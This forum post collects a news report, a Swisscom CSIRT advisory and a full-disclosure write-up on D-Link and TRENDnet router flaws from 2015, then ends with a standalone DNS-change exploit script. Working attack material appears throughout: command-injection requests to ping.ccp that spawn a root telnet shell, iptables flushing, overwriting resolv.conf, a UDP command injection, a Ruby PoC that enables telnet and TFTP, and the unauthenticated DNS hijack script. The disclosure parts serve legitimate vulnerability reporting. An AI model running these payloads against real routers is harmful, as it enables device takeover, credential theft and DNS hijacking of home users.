Search the Community

Amnesia strikes as hacker discloses remote code exec flaws Domestic router Daddy D-Link is patching dangerous remote access flaws in several models of its networking gear. The patches follow a round of zero-day disclosures by Canadian researcher Peter Adkins early this week, after D-Link allegedly cut communication while he quietly disclosed the flaws. The most severe flaw allowed attackers to hijack the devices including changing DNS settings by creating malicious sites which exploit cross-site request forgeries. D-Link issued an advisory in which it warns DIR models 626L; 636L; 808L; 810L; 820L; 826L; 830, and 836L are open to remote code execution. D-Link says attackers can upload and run files without authentication from the LAN-side of the device or over the internet if the "external connections" box was taken off default and ticked. "A second vulnerability reportedly relates to the device’s ping utility that might permit command injection without authentication," the company says of Adkin's work. "A third vulnerability reportedly may exploit certain chipset utilities in firmware to potentially permit a malicious user an attack disclosing information about the devices configuration." Adkins told El Reg ,many of the security failings in home routers could be put down to expansive feature sets. "The platforms the devices are build upon may be solid - such as OpenWRT - but then additional services are 'bolted in' to provide value-add, and that security seems to go straight out of the window," Adkin says. Other routers may be affected due to the location of ncc and ncc2 binaries Fellow router hackers Stefan Viehböck and Jeremy Richards found further flaws in five TRENDnet offerings since patched, plus another D-Link mess. Adkins reports contact between D-Link and himself ceased around February 23 when D-Link, after confirming receipt of the vulnerability reports on 11 January, said they had no knowledge of the holes and directed him to the company security reporting guide. The company recommends users run encrypted wireless to prevent the low chance that passing hackers would break into the networks. Only the DIR-820L was patched. Source

############################################################################# # # SWISSCOM CSIRT SECURITY ADVISORY - http://www.swisscom.com/security # ############################################################################# # # CVE ID: CVE-2015-1187 # Product: D-Link DIR636L # Vendor: D-Link # Subject: Remote Command Injection - Incorrect Authentication # Effect: Remotely exploitable # Author: Tiago Caetano Henriques, tiago.caetanohenriques AT swisscom.com # Stephan Rickauer, Swisscom CSIRT (csirt AT wisscom.com) # Date: March 2nd 2015 # ############################################################################# Introduction ------------ Tiago Caetano Henriques discovered a security flaw in D-link DIR-636L router that enables an attacker on the same network to execute arbitrary commands without being authenticated. Vulnerable ---------- D-Link DIR-636L and possibly other versions as seen on [1]. Patches ------- None existant at the moment. Description ----------- The D-Link DIR636L (possibly others) incorrectly filters input on the 'ping' tool which allows to inject arbitrary commands into the router. Secondly, authentication is not being performed correctly. This enables a remote attacker to gain full control of the router, for example to attack other networks in a DDoS style attack, or even expose computers behind these devices to the internet as you are able to change firewall/nat rules on this router. Attack vector ------------- A URL encoded POST request with the values in front of ping_addr= such as the following, will go through and will execute the command in front of &. POST /ping.ccp HTTP/1.1 Host: 192.168.0.1 ... X-Requested-With: XMLHttpRequest Referer: http://192.168.0.1/tools_vct.asp Content-Length: 64 Cookie: ccp_act=ping_v4&ping_addr=%31%39%32%2e%31%36%38%2e%30%2e%31%30%37%20%26%20%2f %62%69%6e%2f%70%69%6e%67%20%39%34%2e%32%33%2e%37%38%2e%32%33%31 Milestones ---------- Nov 30th 2014 Vulnerability discovered by Tiago Caetano Henriques Dec 18th 2014 Vulnerability reported to Swisscom CSIRT Jan 7th 2015 CVE ID requested at MITRE Jan 18th 2015 CVE ID 2015-1187 assigned by MITRE Feb 2th 2015 Vendor contact established and provided with technical details Feb 16th 2015 Vendor acknowledged issue and communicates time line for patches Feb 26th 2015 Full Disclosure by Peter Adkins Mar 2nd 2015 Forced Public Release of this Advisory due to the previous Full Disclosure at [1] References ---------- [1] https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2 Source/url]

>> D-Link and TRENDnet 'ncc2' service - multiple vulnerabilities Discovered by: ---- Peter Adkins <peter.adkins@kernelpicnic.net> Access: ---- Local network; unauthenticated access. Remote network; unauthenticated access*. Remote network; 'drive-by' via CSRF. Tracking and identifiers: ---- CVE - Mitre contacted; not yet allocated. Platforms / Firmware confirmed affected: ---- D-Link DIR-820L (Rev A) - v1.02B10 D-Link DIR-820L (Rev A) - v1.05B03 D-Link DIR-820L (Rev - v2.01b02 TRENDnet TEW-731BR (Rev 2) - v2.01b01 Additional platforms believed to be affected: ---- D-Link DIR-808L (Rev A) - v1.03b05 D-Link DIR-810L (Rev A) - v1.01b04 D-Link DIR-810L (Rev - v2.02b01 D-Link DIR-826L (Rev A) - v1.00b23 D-Link DIR-830L (Rev A) - v1.00b07 D-Link DIR-836L (Rev A) - v1.01b03 Vendor involvement: ---- 2015-01-11 - Issues reported to D-Link via email (security contact). 2015-01-11 - Issues reported to TRENDnet via support ticket. 2015-01-12 - Initial response from TRENDnet. 2015-01-14 - Initial response from D-Link (security contact). 2015-01-19 - Email to Mitre. 2015-01-19 - TRENDnet request a few days to validate vulnerabilities. 2015-01-26 - TRENDnet confirm vulnerabilities and commit to Feb 10 fix. 2015-02-01 - Initial response from Mitre. 2015-02-04 - Requested an update from D-Link (security contact). 2015-02-10 - TRENDnet release 2.02b01 resolving vulnerabilities. 2015-02-10 - Emailed Mitre requesting follow up. 2015-02-10 - Emailed D-Link requesting follow up (security contact). 2015-02-18 - Emailed D-Link requesting follow up (security contact). 2015-02-21 - Contacted D-Link support as I had not still not heard back. 2015-02-22 - D-Link support were unsure as to my query. 2015-02-22 - Replied to D-Link support clarifying my request. 2015-02-23 - D-Link support directed me to the security reporting guide. 2015-02-26 - Vulnerability published to Bugtraq and GitHub. Mitigation: ---- * Ensure remote / WAN management is disabled on the affected devices. * Only allow trusted devices access to the local network. * If using a listed TRENDnet device, install the patched firmware issued by the vendor. * If using a listed D-Link device, you'll need to use a third party tool such as µBlock (Chrome, Firefox and Safari) to blacklist requests to your router. This isn't ideal, but it's better than the alternative. Notes: ---- * Due to the nature of the the 'ping.ccp' vulnerability, an attacker can gain root access, hijack DNS settings or execute arbitrary commands on these devices with the user simply visiting a web page with a malicious HTTP form embedded (via CSRF). * Due to the location of this issue (ncc / ncc2) these vulnerabilities may be present in other devices and firmware versions not listed in this document. * D-Link initially responded on their security contact within a week. However, after I had provided write ups of these vulnerabilities it went quiet. In over a month I have been unable to get any sort of response from D-Link, including as to whether they have managed to replicate these issues or when there will be a fix. I contacted D-Link support as a last ditch effort to reestablish contact, however I was linked back to the same security reporting process I had followed initially. * Remote execution of these exploits is possible, but requires the device to already have remote / WAN management enabled; except in the case of 'ping.ccp', as above. * If you have a D-Link device that is believed to be affected and can confirm whether the PoC is successful, please let me know and I will update the copy of this document on GitHub (see below) and provide credit for your findings. * A copy of this document, as well as the proof of concept below and a more detailed write-up has been made available via GitHub: * https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2 ---- fwupgrade.ccp ---- The ncc / ncc2 service on the affected devices allows for basic firmware and language file upgrades via the web interface. During the operation, a HTTP POST is submitted to a resource named 'fwupgrade.ccp'. The request appears to be executed by the ncc / ncc2 service on the device, which runs as the root user. Unfortunately, the filtering on this resource does not appear to be effective, as: file / MIME type filtering is not being performed; and the 'on-failure' redirection to the login page is being performed AFTER a file has already been written the the filesystem in full. As a result of the above, this resource can be used to upload files to the filesystem of devices running vulnerable versions of ncc / ncc2 without authentication. This is also possible over the internet if WAN / remote management has been previously enabled on the device. To compound the issue, at least in the case of the listed devices, files are written to a ramfs filesystem which is mounted at '/var/tmp'. This becomes an issue as this directory is also used to store volatile system configuration files - as the root filesystem is mounted read-only. The files under '/var/tmp' include 'resolv.conf', allowing for an attacker to hijack a user's DNS configuration: # Overwrite the DNS resolver with Google DNS echo 'nameserver 8.8.8.8' > resolv.conf curl \ -i http://192.168.0.1/fwupgrade.ccp \ -F action=fwupgrade \ -F filename=resolv.conf \ -F file=@resolv.conf ---- ping.ccp ---- The ncc / ncc2 service on the affected devices allow for basic 'ping' diagnostics to be performed via the 'ping.ccp' resource. Unfortunately, it appears that strings passed to this call are not correctly sanitized. Much in the same manner as above, the request appears to be executed by the ncc / ncc2 service on the device, which is run as the root user. The handler for 'ping_v4' does not appear to be vulnerable as this resource maps the components of a IPv4 address, represented by a dotted quad, into a format of '%u.%u.%u.%u' at execution time. However, 'ping_ipv6' references the user provided input directly as a string ('%s'), which is then passed to a system() call. This formatting allows for an attacker to pass arbitrary commands to the device through a HTTP request. As this resource is also able to be accessed without authentication, it provides a vector for an attacker to execute arbitrary commands on the device - including, but not limited to, DNS hijacking and WAN firewall disablement - via CSRF. # Spawn a root shell (telnet) curl \ -i http://192.168.0.1/ping.ccp \ --data 'ccp_act=ping_v6&ping_addr=$(telnetd -l /bin/sh)' # Flush the iptables INPUT chain and set the default policy to ACCEPT. curl \ -i http://192.168.0.1/ping.ccp \ --data 'ccp_act=ping_v6&ping_addr=$(iptables -P INPUT ACCEPT)' curl \ -i http://192.168.0.1/ping.ccp \ --data 'ccp_act=ping_v6&ping_addr=$(iptables -F INPUT)' ---- UDPServer / MP Daemon ---- Note: This vulnerability does not seem to be present in firmware versions before 1.05B03 on the DIR-820LA1. This may differ on other platforms. The ncc / ncc2 service on the affected devices appears to have been shipped with a number of diagnostic hooks available. Unfortunately, much in the same manner as the vulnerabilities discussed above, these hooks are able to be called without authentication. These hooks are also callable via CSRF; although a moot point given that the 'ping.ccp' vulnerability discussed above already yields a higher level of access to the device via the same manner. One of the more 'interesting' hooks exposed by these devices allow for a 'UDPServer' process to be spawned on the device when called. When started this process listens on the devices LAN IP for data on UDP 9034. Unfortunately, this process does not appear to perform any sort of input sanitization before passing user input to a system() call. Further investigation finds that the source for this service (UDPServer) is available in the RealTek SDK, and appears to be a diagnostic tool. As a result of the above, this process is vulnerable to arbitrary command injection. # Spawn a root shell (telnet) curl -i 192.168.0.1/test_mode.txt echo "\`telnetd -l /bin/sh\`" > /dev/udp/192.168.0.1/9034 ---- Diagnostic hooks ---- Further to the 'test_mode' hook discussed above, the ncc / ncc2 service on the affected devices appear to have been shipped with a number of other diagnostic hooks enabled by default: * tftpd_ready.txt * chklst.txt * wps_default_pin.txt * usb_connect.txt * wps_btn.txt * reset_btn.txt * reboot_btn.txt * calibration_ready24G.txt * calibration_ready5G.txt * restore_default_finish.txt * set_mac_finish.txt * test_mode.txt * wifist.txt These resources do not exist on the filesystem of the device, nor do they appear to be static. Instead, these files appear to be rendered when queried and can be used to both interrogate the given device for information, as well as enable diagnostic services on demand. Unfortunately, these hooks are able to be queried without any form of authentication, and are accessible by attackers on the local network, and over the internet via WAN management (if enabled), and CSRF. A brief descriptions for each of these hooks is provided below. Those not listed provide either unknown functionality, or binary values which appear to represent system GPIO states (*_btn.txt). - tftp_ready.txt When queried, this resource spawns a tftp daemon which has a root directory of '/'. As TFTP requires no authentication, this service can be used to extract credentials from the device or even download files from an external storage device connected via USB. Unfortunately, due to the way this data is stored on the system, all credentials appear to be available in plain-text. These credentials can include (depending on the vendor and device configuration): * GUI / Device management credentials * Samba credentials * PPPoE credentials * Email credentials * 'MyDlink' credentials (on D-Link devices) - chklst.txt When queried, this resource will return the following information: * Current WLAN SSIDs * Current WLAN channels * LAN and WAN MAC addressing * Current Firmware version information * Hardware version information * Language information - wps_default_pin.txt When queried, this resource will return the default / factory WPS pin for the device. - usb_connect.txt When queried, this resource will return a binary value which indicates whether an external device is connected to the USB port on the device - or null in the case of devices that do not have an exposed USB port. This resource could potentially by used by an attacker to enumerate devices with USB storage attached. ---- Ruby PoC ---- # NCC2 PoC. require 'pp' require 'optparse' require 'restclient' # Set defaults and parse command line arguments options = {} options[:addr] = "192.168.0.1" options[:port] = 80 OptionParser.new do |option| option.on("--address [ADDRESS]", "Destination hostname or IP") do |a| options[:addr] = a end option.on("--port [PORT]", "Destination TCP port") do |p| options[:port] = p end option.parse! end # Define which SOAPActions we will be using. actions = [ { :name => "Get device information", :call => "sloppy_parser", :path => "chklst.txt", }, { :name => "Has USB device connected", :call => "txt_parser", :path => "usb_connect.txt", }, { :name => "Get WPS default pin", :call => "txt_parser", :path => "wps_default_pin.txt", }, { :name => "Enable UDPServer", :call => "noop", :path => "test_mode.txt", }, { :name => "Enable TFTP service", :call => "noop", :path => "tftpd_ready.txt", }, { :name => "Enable telnet (root)", :call => "noop", :path => "ping.ccp", :post => { "ccp_act" => "ping_v6", "ping_addr" => "$(telnetd -l /bin/sh)" } } ] def noop(val) return end def sloppy_parser(slop) slop.split(/\<br \/\>/).each do |l| puts " #{l}" end end def txt_parser(txt) l = txt.gsub(/\=/, ': ') puts " #{l}" end # Iterate over all actions and attempt to execute. url = "http://#{options[:addr]}:#{options[:port]}" puts "[!] Attempting to extract information from #{url}" actions.each do |action| # Build the target URL and setup the HTTP client object. request = RestClient::Resource.new("#{url}/#{action[:path]}") # Fire the request and ensure a 200 OKAY. begin if action[:post] response = request.post(action[:post]) else response = request.get() end rescue puts "[!] Failed to query remote host." abort end if response.code != 200 puts "[-] '#{action[:name]}' failed with response: #{response.code}" next end # Send to the processor. puts "[*] #{action[:name]} request succeeded." send(action[:call], response.body()) end Source

#!/bin/bash # # D-Link DSL-2640B Unauthenticated Remote DNS Change Exploit # # Copyright 2015 (c) Todor Donev <todor.donev at gmail.com> # http://www.ethical-hacker.org/ # https://www.facebook.com/ethicalhackerorg # # Description: # Different D-Link Routers are vulnerable to DNS change. # The vulnerability exist in the web interface, which is # accessible without authentication. # # Tested firmware version: EU_2.03 # ACCORDING TO THE VULNERABILITY DISCOVERER, MORE D-Link # DEVICES OR FIRMWARE VERSIONS MAY AFFECTED. # # Once modified, systems use foreign DNS servers, which are # usually set up by cybercriminals. Users with vulnerable # systems or devices who try to access certain sites are # instead redirected to possibly malicious sites. # # Modifying systems' DNS settings allows cybercriminals to # perform malicious activities like: # # o Steering unknowing users to bad sites: # These sites can be phishing pages that # spoof well-known sites in order to # trick users into handing out sensitive # information. # # o Replacing ads on legitimate sites: # Visiting certain sites can serve users # with infected systems a different set # of ads from those whose systems are # not infected. # # o Controlling and redirecting network traffic: # Users of infected systems may not be granted # access to download important OS and software # updates from vendors like Microsoft and from # their respective security vendors. # # o Pushing additional malware: # Infected systems are more prone to other # malware infections (e.g., FAKEAV infection). # # Disclaimer: # This or previous programs is for Educational # purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the # fact that Todor Donev is not liable for any # damages caused by direct or indirect use of the # information or functionality provided by these # programs. The author or any Internet provider # bears NO responsibility for content or misuse # of these programs or any derivatives thereof. # By using these programs you accept the fact # that any damage (dataloss, system crash, # system compromise, etc.) caused by the use # of these programs is not Todor Donev's # responsibility. # # Use them at your own risk! # if [[ $# -gt 3 || $# -lt 2 ]]; then echo " D-Link DSL-2640B Unauthenticated Remote DNS Change Exploit" echo " ================================================================" echo " Usage: $0 <Target> <Preferred DNS> <Alternate DNS>" echo " Example: $0 192.168.1.1 8.8.8.8" echo " Example: $0 192.168.1.1 8.8.8.8 8.8.4.4" echo "" echo " Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>" echo " http://www.ethical-hacker.org/" echo " https://www.facebook.com/ethicalhackerorg" exit; fi GET=`which GET 2>/dev/null` if [ $? -ne 0 ]; then echo " Error : libwww-perl not found =/" exit; fi GET "http://$1/ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP" 0&> /dev/null <&1 Source